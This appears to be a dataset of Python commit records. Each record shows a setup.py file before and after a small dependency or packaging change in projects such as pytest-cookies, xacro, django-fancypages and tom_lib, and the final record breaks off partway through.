#!/usr/bin/env python # -*- coding: utf-8 -*- import os import codecs from setuptools import setup def read(fname): file_path = os.path.join(os.path.dirname(__file__), fname) return codecs.open(file_path, encoding='utf-8').read() setup( name='pytest-cookies', version='0.1.0', author='Raphael Pierzina', author_email='raphael@hackebrot.de', maintainer='Raphael Pierzina', maintainer_email='raphael@hackebrot.de', license='MIT', url='https://github.com/hackebrot/pytest-cookies', description='A Pytest plugin for your Cookiecutter templates', long_description=read('README.rst'), py_modules=['pytest_cookies'], install_requires=[ 'pytest>=2.8.1', 'cookiecutter>=1.1.0' ], classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'Topic :: Software Development :: Testing', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', ], entry_points={ 'pytest11': [ 'cookies = pytest_cookies', ], }, )
Add Cookiecutter v1.1 to install requirements
Add Cookiecutter v1.1 to install requirements
Python
mit
hackebrot/pytest-cookies
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import codecs from setuptools import setup def read(fname): file_path = os.path.join(os.path.dirname(__file__), fname) return codecs.open(file_path, encoding='utf-8').read() setup( name='pytest-cookies', version='0.1.0', author='Raphael Pierzina', author_email='raphael@hackebrot.de', maintainer='Raphael Pierzina', maintainer_email='raphael@hackebrot.de', license='MIT', url='https://github.com/hackebrot/pytest-cookies', description='A Pytest plugin for your Cookiecutter templates', long_description=read('README.rst'), py_modules=['pytest_cookies'], install_requires=['pytest>=2.8.1'], classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'Topic :: Software Development :: Testing', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', ], entry_points={ 'pytest11': [ 'cookies = pytest_cookies', ], }, ) Add Cookiecutter v1.1 to install requirements
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import codecs from setuptools import setup def read(fname): file_path = os.path.join(os.path.dirname(__file__), fname) return codecs.open(file_path, encoding='utf-8').read() setup( name='pytest-cookies', version='0.1.0', author='Raphael Pierzina', author_email='raphael@hackebrot.de', maintainer='Raphael Pierzina', maintainer_email='raphael@hackebrot.de', license='MIT', url='https://github.com/hackebrot/pytest-cookies', description='A Pytest plugin for your Cookiecutter templates', long_description=read('README.rst'), py_modules=['pytest_cookies'], install_requires=[ 'pytest>=2.8.1', 'cookiecutter>=1.1.0' ], classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'Topic :: Software Development :: Testing', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', ], entry_points={ 'pytest11': [ 'cookies = pytest_cookies', ], }, )
<commit_before>#!/usr/bin/env python # -*- coding: utf-8 -*- import os import codecs from setuptools import setup def read(fname): file_path = os.path.join(os.path.dirname(__file__), fname) return codecs.open(file_path, encoding='utf-8').read() setup( name='pytest-cookies', version='0.1.0', author='Raphael Pierzina', author_email='raphael@hackebrot.de', maintainer='Raphael Pierzina', maintainer_email='raphael@hackebrot.de', license='MIT', url='https://github.com/hackebrot/pytest-cookies', description='A Pytest plugin for your Cookiecutter templates', long_description=read('README.rst'), py_modules=['pytest_cookies'], install_requires=['pytest>=2.8.1'], classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'Topic :: Software Development :: Testing', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', ], entry_points={ 'pytest11': [ 'cookies = pytest_cookies', ], }, ) <commit_msg>Add Cookiecutter v1.1 to install requirements<commit_after>
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import codecs from setuptools import setup def read(fname): file_path = os.path.join(os.path.dirname(__file__), fname) return codecs.open(file_path, encoding='utf-8').read() setup( name='pytest-cookies', version='0.1.0', author='Raphael Pierzina', author_email='raphael@hackebrot.de', maintainer='Raphael Pierzina', maintainer_email='raphael@hackebrot.de', license='MIT', url='https://github.com/hackebrot/pytest-cookies', description='A Pytest plugin for your Cookiecutter templates', long_description=read('README.rst'), py_modules=['pytest_cookies'], install_requires=[ 'pytest>=2.8.1', 'cookiecutter>=1.1.0' ], classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'Topic :: Software Development :: Testing', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', ], entry_points={ 'pytest11': [ 'cookies = pytest_cookies', ], }, )
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import codecs from setuptools import setup def read(fname): file_path = os.path.join(os.path.dirname(__file__), fname) return codecs.open(file_path, encoding='utf-8').read() setup( name='pytest-cookies', version='0.1.0', author='Raphael Pierzina', author_email='raphael@hackebrot.de', maintainer='Raphael Pierzina', maintainer_email='raphael@hackebrot.de', license='MIT', url='https://github.com/hackebrot/pytest-cookies', description='A Pytest plugin for your Cookiecutter templates', long_description=read('README.rst'), py_modules=['pytest_cookies'], install_requires=['pytest>=2.8.1'], classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'Topic :: Software Development :: Testing', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', ], entry_points={ 'pytest11': [ 'cookies = pytest_cookies', ], }, ) Add Cookiecutter v1.1 to install requirements#!/usr/bin/env python # -*- coding: utf-8 -*- import os import codecs from setuptools import setup def read(fname): file_path = os.path.join(os.path.dirname(__file__), fname) return codecs.open(file_path, encoding='utf-8').read() setup( name='pytest-cookies', version='0.1.0', author='Raphael Pierzina', author_email='raphael@hackebrot.de', maintainer='Raphael Pierzina', maintainer_email='raphael@hackebrot.de', license='MIT', url='https://github.com/hackebrot/pytest-cookies', description='A Pytest plugin for your Cookiecutter templates', long_description=read('README.rst'), py_modules=['pytest_cookies'], install_requires=[ 'pytest>=2.8.1', 'cookiecutter>=1.1.0' ], classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'Topic :: Software Development :: Testing', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', ], entry_points={ 'pytest11': [ 'cookies = pytest_cookies', ], }, )
<commit_before>#!/usr/bin/env python # -*- coding: utf-8 -*- import os import codecs from setuptools import setup def read(fname): file_path = os.path.join(os.path.dirname(__file__), fname) return codecs.open(file_path, encoding='utf-8').read() setup( name='pytest-cookies', version='0.1.0', author='Raphael Pierzina', author_email='raphael@hackebrot.de', maintainer='Raphael Pierzina', maintainer_email='raphael@hackebrot.de', license='MIT', url='https://github.com/hackebrot/pytest-cookies', description='A Pytest plugin for your Cookiecutter templates', long_description=read('README.rst'), py_modules=['pytest_cookies'], install_requires=['pytest>=2.8.1'], classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'Topic :: Software Development :: Testing', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', ], entry_points={ 'pytest11': [ 'cookies = pytest_cookies', ], }, ) <commit_msg>Add Cookiecutter v1.1 to install requirements<commit_after>#!/usr/bin/env python # -*- coding: utf-8 -*- import os import codecs from setuptools import setup def read(fname): file_path = os.path.join(os.path.dirname(__file__), fname) return codecs.open(file_path, encoding='utf-8').read() setup( name='pytest-cookies', version='0.1.0', author='Raphael Pierzina', author_email='raphael@hackebrot.de', maintainer='Raphael Pierzina', maintainer_email='raphael@hackebrot.de', license='MIT', url='https://github.com/hackebrot/pytest-cookies', description='A Pytest plugin for your Cookiecutter templates', long_description=read('README.rst'), py_modules=['pytest_cookies'], install_requires=[ 'pytest>=2.8.1', 'cookiecutter>=1.1.0' ], classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'Topic :: Software Development :: Testing', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', ], entry_points={ 'pytest11': [ 'cookies = pytest_cookies', ], }, )
3193abd844bae92159258a5cc80221e9a7d16b06
setup.py
setup.py
#!/usr/bin/env python from distutils.core import setup from catkin_pkg.python_setup import generate_distutils_setup d = generate_distutils_setup( packages=['xacro'], package_dir={'': 'src'}, scripts=['scripts/xacro.py'] ) setup(**d)
#!/usr/bin/env python from distutils.core import setup from catkin_pkg.python_setup import generate_distutils_setup d = generate_distutils_setup( packages=['xacro'], package_dir={'': 'src'} ) setup(**d)
Remove bin copy of xacro.py
Remove bin copy of xacro.py
Python
bsd-3-clause
ros/xacro,ros/xacro
#!/usr/bin/env python from distutils.core import setup from catkin_pkg.python_setup import generate_distutils_setup d = generate_distutils_setup( packages=['xacro'], package_dir={'': 'src'}, scripts=['scripts/xacro.py'] ) setup(**d) Remove bin copy of xacro.py
#!/usr/bin/env python from distutils.core import setup from catkin_pkg.python_setup import generate_distutils_setup d = generate_distutils_setup( packages=['xacro'], package_dir={'': 'src'} ) setup(**d)
<commit_before>#!/usr/bin/env python from distutils.core import setup from catkin_pkg.python_setup import generate_distutils_setup d = generate_distutils_setup( packages=['xacro'], package_dir={'': 'src'}, scripts=['scripts/xacro.py'] ) setup(**d) <commit_msg>Remove bin copy of xacro.py<commit_after>
#!/usr/bin/env python from distutils.core import setup from catkin_pkg.python_setup import generate_distutils_setup d = generate_distutils_setup( packages=['xacro'], package_dir={'': 'src'} ) setup(**d)
#!/usr/bin/env python from distutils.core import setup from catkin_pkg.python_setup import generate_distutils_setup d = generate_distutils_setup( packages=['xacro'], package_dir={'': 'src'}, scripts=['scripts/xacro.py'] ) setup(**d) Remove bin copy of xacro.py#!/usr/bin/env python from distutils.core import setup from catkin_pkg.python_setup import generate_distutils_setup d = generate_distutils_setup( packages=['xacro'], package_dir={'': 'src'} ) setup(**d)
<commit_before>#!/usr/bin/env python from distutils.core import setup from catkin_pkg.python_setup import generate_distutils_setup d = generate_distutils_setup( packages=['xacro'], package_dir={'': 'src'}, scripts=['scripts/xacro.py'] ) setup(**d) <commit_msg>Remove bin copy of xacro.py<commit_after>#!/usr/bin/env python from distutils.core import setup from catkin_pkg.python_setup import generate_distutils_setup d = generate_distutils_setup( packages=['xacro'], package_dir={'': 'src'} ) setup(**d)
0069f97b940cf5d9ac128ad6dc87cdd3931219b5
setup.py
setup.py
#!/usr/bin/env python from fancypages import __version__ from setuptools import setup, find_packages setup( name='django-fancypages', version=__version__, url='https://github.com/tangentlabs/django-fancypages', author="Sebastian Vetter", author_email="sebastian.vetter@tangentsnowball.com.au", description="Make content editing in Django fancier", long_description='\n\n'.join([ open('README.rst').read(), open('CHANGELOG.rst').read(), ]), keywords="django, cms, pages, flatpages", license='BSD', platforms=['linux'], packages=find_packages(exclude=["sandbox*", "tests*"]), include_package_data=True, install_requires=[ 'Django>=1.5', 'South', 'unidecode', 'django-appconf', 'django-treebeard', 'django-model-utils', 'django-shortuuidfield', # we are using DRF routers that are only available in # DRF 2.3+ so we are restricting the version here 'djangorestframework>=2.3.10', 'pillow', 'sorl-thumbnail>=11.12', ], # See http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: Unix', 'Programming Language :: Python', ] )
#!/usr/bin/env python from fancypages import __version__ from setuptools import setup, find_packages setup( name='django-fancypages', version=__version__, url='https://github.com/tangentlabs/django-fancypages', author="Sebastian Vetter", author_email="sebastian.vetter@tangentsnowball.com.au", description="Make content editing in Django fancier", long_description='\n\n'.join([ open('README.rst').read(), open('CHANGELOG.rst').read(), ]), keywords="django, cms, pages, flatpages", license='BSD', platforms=['linux'], packages=find_packages(exclude=["sandbox*", "tests*"]), include_package_data=True, install_requires=[ 'Django>=1.5', 'South', 'unidecode', 'django-appconf', 'django-treebeard', 'django-model-utils', 'django-shortuuidfield', # we are using DRF routers that are only available in # DRF 2.3+ so we are restricting the version here 'djangorestframework>=2.3.10', 'pillow', 'sorl-thumbnail>=11.12.1b', ], # See http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: Unix', 'Programming Language :: Python', ] )
Update sorl-thumbnail to latest version
Update sorl-thumbnail to latest version
Python
bsd-3-clause
tangentlabs/django-fancypages,tangentlabs/django-fancypages,tangentlabs/django-fancypages
#!/usr/bin/env python from fancypages import __version__ from setuptools import setup, find_packages setup( name='django-fancypages', version=__version__, url='https://github.com/tangentlabs/django-fancypages', author="Sebastian Vetter", author_email="sebastian.vetter@tangentsnowball.com.au", description="Make content editing in Django fancier", long_description='\n\n'.join([ open('README.rst').read(), open('CHANGELOG.rst').read(), ]), keywords="django, cms, pages, flatpages", license='BSD', platforms=['linux'], packages=find_packages(exclude=["sandbox*", "tests*"]), include_package_data=True, install_requires=[ 'Django>=1.5', 'South', 'unidecode', 'django-appconf', 'django-treebeard', 'django-model-utils', 'django-shortuuidfield', # we are using DRF routers that are only available in # DRF 2.3+ so we are restricting the version here 'djangorestframework>=2.3.10', 'pillow', 'sorl-thumbnail>=11.12', ], # See http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: Unix', 'Programming Language :: Python', ] ) Update sorl-thumbnail to latest version
#!/usr/bin/env python from fancypages import __version__ from setuptools import setup, find_packages setup( name='django-fancypages', version=__version__, url='https://github.com/tangentlabs/django-fancypages', author="Sebastian Vetter", author_email="sebastian.vetter@tangentsnowball.com.au", description="Make content editing in Django fancier", long_description='\n\n'.join([ open('README.rst').read(), open('CHANGELOG.rst').read(), ]), keywords="django, cms, pages, flatpages", license='BSD', platforms=['linux'], packages=find_packages(exclude=["sandbox*", "tests*"]), include_package_data=True, install_requires=[ 'Django>=1.5', 'South', 'unidecode', 'django-appconf', 'django-treebeard', 'django-model-utils', 'django-shortuuidfield', # we are using DRF routers that are only available in # DRF 2.3+ so we are restricting the version here 'djangorestframework>=2.3.10', 'pillow', 'sorl-thumbnail>=11.12.1b', ], # See http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: Unix', 'Programming Language :: Python', ] )
<commit_before>#!/usr/bin/env python from fancypages import __version__ from setuptools import setup, find_packages setup( name='django-fancypages', version=__version__, url='https://github.com/tangentlabs/django-fancypages', author="Sebastian Vetter", author_email="sebastian.vetter@tangentsnowball.com.au", description="Make content editing in Django fancier", long_description='\n\n'.join([ open('README.rst').read(), open('CHANGELOG.rst').read(), ]), keywords="django, cms, pages, flatpages", license='BSD', platforms=['linux'], packages=find_packages(exclude=["sandbox*", "tests*"]), include_package_data=True, install_requires=[ 'Django>=1.5', 'South', 'unidecode', 'django-appconf', 'django-treebeard', 'django-model-utils', 'django-shortuuidfield', # we are using DRF routers that are only available in # DRF 2.3+ so we are restricting the version here 'djangorestframework>=2.3.10', 'pillow', 'sorl-thumbnail>=11.12', ], # See http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: Unix', 'Programming Language :: Python', ] ) <commit_msg>Update sorl-thumbnail to latest version<commit_after>
#!/usr/bin/env python from fancypages import __version__ from setuptools import setup, find_packages setup( name='django-fancypages', version=__version__, url='https://github.com/tangentlabs/django-fancypages', author="Sebastian Vetter", author_email="sebastian.vetter@tangentsnowball.com.au", description="Make content editing in Django fancier", long_description='\n\n'.join([ open('README.rst').read(), open('CHANGELOG.rst').read(), ]), keywords="django, cms, pages, flatpages", license='BSD', platforms=['linux'], packages=find_packages(exclude=["sandbox*", "tests*"]), include_package_data=True, install_requires=[ 'Django>=1.5', 'South', 'unidecode', 'django-appconf', 'django-treebeard', 'django-model-utils', 'django-shortuuidfield', # we are using DRF routers that are only available in # DRF 2.3+ so we are restricting the version here 'djangorestframework>=2.3.10', 'pillow', 'sorl-thumbnail>=11.12.1b', ], # See http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: Unix', 'Programming Language :: Python', ] )
#!/usr/bin/env python from fancypages import __version__ from setuptools import setup, find_packages setup( name='django-fancypages', version=__version__, url='https://github.com/tangentlabs/django-fancypages', author="Sebastian Vetter", author_email="sebastian.vetter@tangentsnowball.com.au", description="Make content editing in Django fancier", long_description='\n\n'.join([ open('README.rst').read(), open('CHANGELOG.rst').read(), ]), keywords="django, cms, pages, flatpages", license='BSD', platforms=['linux'], packages=find_packages(exclude=["sandbox*", "tests*"]), include_package_data=True, install_requires=[ 'Django>=1.5', 'South', 'unidecode', 'django-appconf', 'django-treebeard', 'django-model-utils', 'django-shortuuidfield', # we are using DRF routers that are only available in # DRF 2.3+ so we are restricting the version here 'djangorestframework>=2.3.10', 'pillow', 'sorl-thumbnail>=11.12', ], # See http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: Unix', 'Programming Language :: Python', ] ) Update sorl-thumbnail to latest version#!/usr/bin/env python from fancypages import __version__ from setuptools import setup, find_packages setup( name='django-fancypages', version=__version__, url='https://github.com/tangentlabs/django-fancypages', author="Sebastian Vetter", author_email="sebastian.vetter@tangentsnowball.com.au", description="Make content editing in Django fancier", long_description='\n\n'.join([ open('README.rst').read(), open('CHANGELOG.rst').read(), ]), keywords="django, cms, pages, flatpages", license='BSD', platforms=['linux'], packages=find_packages(exclude=["sandbox*", "tests*"]), include_package_data=True, install_requires=[ 'Django>=1.5', 'South', 'unidecode', 'django-appconf', 'django-treebeard', 'django-model-utils', 'django-shortuuidfield', # we are using DRF routers that are only available in # DRF 2.3+ so we are restricting the version here 'djangorestframework>=2.3.10', 'pillow', 'sorl-thumbnail>=11.12.1b', ], # See http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: Unix', 'Programming Language :: Python', ] )
<commit_before>#!/usr/bin/env python from fancypages import __version__ from setuptools import setup, find_packages setup( name='django-fancypages', version=__version__, url='https://github.com/tangentlabs/django-fancypages', author="Sebastian Vetter", author_email="sebastian.vetter@tangentsnowball.com.au", description="Make content editing in Django fancier", long_description='\n\n'.join([ open('README.rst').read(), open('CHANGELOG.rst').read(), ]), keywords="django, cms, pages, flatpages", license='BSD', platforms=['linux'], packages=find_packages(exclude=["sandbox*", "tests*"]), include_package_data=True, install_requires=[ 'Django>=1.5', 'South', 'unidecode', 'django-appconf', 'django-treebeard', 'django-model-utils', 'django-shortuuidfield', # we are using DRF routers that are only available in # DRF 2.3+ so we are restricting the version here 'djangorestframework>=2.3.10', 'pillow', 'sorl-thumbnail>=11.12', ], # See http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: Unix', 'Programming Language :: Python', ] ) <commit_msg>Update sorl-thumbnail to latest version<commit_after>#!/usr/bin/env python from fancypages import __version__ from setuptools import setup, find_packages setup( name='django-fancypages', version=__version__, url='https://github.com/tangentlabs/django-fancypages', author="Sebastian Vetter", author_email="sebastian.vetter@tangentsnowball.com.au", description="Make content editing in Django fancier", long_description='\n\n'.join([ open('README.rst').read(), open('CHANGELOG.rst').read(), ]), keywords="django, cms, pages, flatpages", license='BSD', platforms=['linux'], packages=find_packages(exclude=["sandbox*", "tests*"]), include_package_data=True, install_requires=[ 'Django>=1.5', 'South', 'unidecode', 'django-appconf', 'django-treebeard', 'django-model-utils', 'django-shortuuidfield', # we are using DRF routers that are only available in # DRF 2.3+ so we are restricting the version here 'djangorestframework>=2.3.10', 'pillow', 'sorl-thumbnail>=11.12.1b', ], # See http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: Unix', 'Programming Language :: Python', ] )
a0b2e2422ab1cf8ac6220b3bb12c94295e69961d
setup.py
setup.py
# coding: utf-8 from setuptools import setup, find_packages import tom_lib __author__ = "Adrien Guille, Pavel Soriano" __email__ = "adrien.guille@univ-lyon2.fr" version = tom_lib.__version__ setup( name='tom_lib', version=version, packages=find_packages(), author="Adrien Guille, Pavel Soriano", author_email="adrien.guille@univ-lyon2.fr", description="A library for topic modeling and browsing", long_description=open('README.rst').read(), url='http://mediamining.univ-lyon2.fr/people/guille/tom.php', download_url='http://pypi.python.org/packages/source/t/tom_lib/tom_lib-%s.tar.gz' % version, classifiers=[ 'Programming Language :: Python', 'Development Status :: 4 - Beta', 'Intended Audience :: Science/Research', "Operating System :: OS Independent", 'Programming Language :: Python :: 2.7', 'Topic :: Scientific/Engineering', 'Topic :: Text Processing' ], requires=['nltk', 'sklearn', 'networkx', 'pandas', 'scipy', 'gensim', 'numpy'])
# coding: utf-8 from setuptools import setup, find_packages import tom_lib __author__ = "Adrien Guille, Pavel Soriano" __email__ = "adrien.guille@univ-lyon2.fr" version = tom_lib.__version__ setup( name='tom_lib', version=version, packages=find_packages(), author="Adrien Guille, Pavel Soriano", author_email="adrien.guille@univ-lyon2.fr", description="A library for topic modeling and browsing", long_description=open('README.rst').read(), url='http://mediamining.univ-lyon2.fr/people/guille/tom.php', download_url='http://pypi.python.org/packages/source/t/tom_lib/tom_lib-%s.tar.gz' % version, classifiers=[ 'Programming Language :: Python', 'Development Status :: 4 - Beta', 'Intended Audience :: Science/Research', "Operating System :: OS Independent", 'Programming Language :: Python :: 2.7', 'Topic :: Scientific/Engineering', 'Topic :: Text Processing' ], requires=['nltk', 'scikit-learn', 'networkx', 'pandas', 'scipy', 'gensim', 'numpy'])
Correct project requirements (sklearn -> scikit-learn)
Correct project requirements (sklearn -> scikit-learn)
Python
mit
AdrienGuille/TOM,AdrienGuille/TOM
# coding: utf-8 from setuptools import setup, find_packages import tom_lib __author__ = "Adrien Guille, Pavel Soriano" __email__ = "adrien.guille@univ-lyon2.fr" version = tom_lib.__version__ setup( name='tom_lib', version=version, packages=find_packages(), author="Adrien Guille, Pavel Soriano", author_email="adrien.guille@univ-lyon2.fr", description="A library for topic modeling and browsing", long_description=open('README.rst').read(), url='http://mediamining.univ-lyon2.fr/people/guille/tom.php', download_url='http://pypi.python.org/packages/source/t/tom_lib/tom_lib-%s.tar.gz' % version, classifiers=[ 'Programming Language :: Python', 'Development Status :: 4 - Beta', 'Intended Audience :: Science/Research', "Operating System :: OS Independent", 'Programming Language :: Python :: 2.7', 'Topic :: Scientific/Engineering', 'Topic :: Text Processing' ], requires=['nltk', 'sklearn', 'networkx', 'pandas', 'scipy', 'gensim', 'numpy']) Correct project requirements (sklearn -> scikit-learn)
# coding: utf-8 from setuptools import setup, find_packages import tom_lib __author__ = "Adrien Guille, Pavel Soriano" __email__ = "adrien.guille@univ-lyon2.fr" version = tom_lib.__version__ setup( name='tom_lib', version=version, packages=find_packages(), author="Adrien Guille, Pavel Soriano", author_email="adrien.guille@univ-lyon2.fr", description="A library for topic modeling and browsing", long_description=open('README.rst').read(), url='http://mediamining.univ-lyon2.fr/people/guille/tom.php', download_url='http://pypi.python.org/packages/source/t/tom_lib/tom_lib-%s.tar.gz' % version, classifiers=[ 'Programming Language :: Python', 'Development Status :: 4 - Beta', 'Intended Audience :: Science/Research', "Operating System :: OS Independent", 'Programming Language :: Python :: 2.7', 'Topic :: Scientific/Engineering', 'Topic :: Text Processing' ], requires=['nltk', 'scikit-learn', 'networkx', 'pandas', 'scipy', 'gensim', 'numpy'])
<commit_before># coding: utf-8 from setuptools import setup, find_packages import tom_lib __author__ = "Adrien Guille, Pavel Soriano" __email__ = "adrien.guille@univ-lyon2.fr" version = tom_lib.__version__ setup( name='tom_lib', version=version, packages=find_packages(), author="Adrien Guille, Pavel Soriano", author_email="adrien.guille@univ-lyon2.fr", description="A library for topic modeling and browsing", long_description=open('README.rst').read(), url='http://mediamining.univ-lyon2.fr/people/guille/tom.php', download_url='http://pypi.python.org/packages/source/t/tom_lib/tom_lib-%s.tar.gz' % version, classifiers=[ 'Programming Language :: Python', 'Development Status :: 4 - Beta', 'Intended Audience :: Science/Research', "Operating System :: OS Independent", 'Programming Language :: Python :: 2.7', 'Topic :: Scientific/Engineering', 'Topic :: Text Processing' ], requires=['nltk', 'sklearn', 'networkx', 'pandas', 'scipy', 'gensim', 'numpy']) <commit_msg>Correct project requirements (sklearn -> scikit-learn)<commit_after>
# coding: utf-8 from setuptools import setup, find_packages import tom_lib __author__ = "Adrien Guille, Pavel Soriano" __email__ = "adrien.guille@univ-lyon2.fr" version = tom_lib.__version__ setup( name='tom_lib', version=version, packages=find_packages(), author="Adrien Guille, Pavel Soriano", author_email="adrien.guille@univ-lyon2.fr", description="A library for topic modeling and browsing", long_description=open('README.rst').read(), url='http://mediamining.univ-lyon2.fr/people/guille/tom.php', download_url='http://pypi.python.org/packages/source/t/tom_lib/tom_lib-%s.tar.gz' % version, classifiers=[ 'Programming Language :: Python', 'Development Status :: 4 - Beta', 'Intended Audience :: Science/Research', "Operating System :: OS Independent", 'Programming Language :: Python :: 2.7', 'Topic :: Scientific/Engineering', 'Topic :: Text Processing' ], requires=['nltk', 'scikit-learn', 'networkx', 'pandas', 'scipy', 'gensim', 'numpy'])
# coding: utf-8 from setuptools import setup, find_packages import tom_lib __author__ = "Adrien Guille, Pavel Soriano" __email__ = "adrien.guille@univ-lyon2.fr" version = tom_lib.__version__ setup( name='tom_lib', version=version, packages=find_packages(), author="Adrien Guille, Pavel Soriano", author_email="adrien.guille@univ-lyon2.fr", description="A library for topic modeling and browsing", long_description=open('README.rst').read(), url='http://mediamining.univ-lyon2.fr/people/guille/tom.php', download_url='http://pypi.python.org/packages/source/t/tom_lib/tom_lib-%s.tar.gz' % version, classifiers=[ 'Programming Language :: Python', 'Development Status :: 4 - Beta', 'Intended Audience :: Science/Research', "Operating System :: OS Independent", 'Programming Language :: Python :: 2.7', 'Topic :: Scientific/Engineering', 'Topic :: Text Processing' ], requires=['nltk', 'sklearn', 'networkx', 'pandas', 'scipy', 'gensim', 'numpy']) Correct project requirements (sklearn -> scikit-learn)# coding: utf-8 from setuptools import setup, find_packages import tom_lib __author__ = "Adrien Guille, Pavel Soriano" __email__ = "adrien.guille@univ-lyon2.fr" version = tom_lib.__version__ setup( name='tom_lib', version=version, packages=find_packages(), author="Adrien Guille, Pavel Soriano", author_email="adrien.guille@univ-lyon2.fr", description="A library for topic modeling and browsing", long_description=open('README.rst').read(), url='http://mediamining.univ-lyon2.fr/people/guille/tom.php', download_url='http://pypi.python.org/packages/source/t/tom_lib/tom_lib-%s.tar.gz' % version, classifiers=[ 'Programming Language :: Python', 'Development Status :: 4 - Beta', 'Intended Audience :: Science/Research', "Operating System :: OS Independent", 'Programming Language :: Python :: 2.7', 'Topic :: Scientific/Engineering', 'Topic :: Text Processing' ], requires=['nltk', 'scikit-learn', 'networkx', 'pandas', 'scipy', 'gensim', 'numpy'])
<commit_before># coding: utf-8 from setuptools import setup, find_packages import tom_lib __author__ = "Adrien Guille, Pavel Soriano" __email__ = "adrien.guille@univ-lyon2.fr" version = tom_lib.__version__ setup( name='tom_lib', version=version, packages=find_packages(), author="Adrien Guille, Pavel Soriano", author_email="adrien.guille@univ-lyon2.fr", description="A library for topic modeling and browsing", long_description=open('README.rst').read(), url='http://mediamining.univ-lyon2.fr/people/guille/tom.php', download_url='http://pypi.python.org/packages/source/t/tom_lib/tom_lib-%s.tar.gz' % version, classifiers=[ 'Programming Language :: Python', 'Development Status :: 4 - Beta', 'Intended Audience :: Science/Research', "Operating System :: OS Independent", 'Programming Language :: Python :: 2.7', 'Topic :: Scientific/Engineering', 'Topic :: Text Processing' ], requires=['nltk', 'sklearn', 'networkx', 'pandas', 'scipy', 'gensim', 'numpy']) <commit_msg>Correct project requirements (sklearn -> scikit-learn)<commit_after># coding: utf-8 from setuptools import setup, find_packages import tom_lib __author__ = "Adrien Guille, Pavel Soriano" __email__ = "adrien.guille@univ-lyon2.fr" version = tom_lib.__version__ setup( name='tom_lib', version=version, packages=find_packages(), 